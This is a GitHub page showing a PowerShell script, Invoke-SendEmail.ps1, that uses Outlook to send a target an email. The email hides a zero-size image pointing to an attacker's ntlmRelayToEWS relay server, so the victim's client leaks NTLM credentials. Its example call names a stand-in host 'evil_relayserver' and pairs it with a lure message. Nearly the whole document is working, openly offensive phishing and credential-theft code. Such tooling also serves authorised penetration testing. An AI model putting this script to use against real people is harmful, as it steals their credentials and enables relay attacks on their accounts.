-
Notifications
You must be signed in to change notification settings - Fork 60
/
Copy pathInvoke-SendEmail.ps1
54 lines (45 loc) · 1.61 KB
/
Invoke-SendEmail.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
function Invoke-SendEmail {
<#
.SYNOPSIS
Function: Invoke-SendMail
Author: Arno0x0x, Twitter: @Arno0x0x
This script sends an email to a targeted user embedding a hidden image pointing to the ntlmRelayToEWS server.
You can use this trick to receive NTLM credentials from the target.
Beware that the Outlook.Application COM object seems to only works with 32bits version of PowerShell, so use:
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
.EXAMPLE
# Example of using this function
PS C:> Invoke-SendEmail -Address "[email protected]" `
-Subject "Important" -Message "Hi,<p>Could you please check something for me ?</p><p>Give me a sign</p>" `
-RelayServerURL "http://evil_relayserver/signature.html"
#>
[cmdletbinding()]
Param (
[Parameter(Mandatory=$True)]
[String]$Address,
[Parameter(Mandatory=$True)]
[String]$Subject,
[Parameter(Mandatory=$True)]
[String]$Message,
[Parameter(Mandatory=$True)]
[String]$RelayServerURL
)
Process {
# Create an instance Microsoft Outlook
$Outlook = New-Object -ComObject Outlook.Application
$Mail = $Outlook.CreateItem(0)
$Mail.To = "$Address"
$Mail.Subject = $Subject
#$Mail.Body = $Body
$Mail.HTMLBody = "<!DOCTYPE HTML><html><body>" + $Message + "<p>-</p><p></p><div style='display: none'><img src='" + $RelayServerURL + "'/></div></body></html>"
# $File = "D:\CP\timetable.pdf"
# $Mail.Attachments.Add($File)
$Mail.Send()
} # End of Process section
End {
# Section to prevent error message in Outlook
# $Outlook.Quit()
[System.Runtime.Interopservices.Marshal]::ReleaseComObject($Outlook)
$Outlook = $null
}
}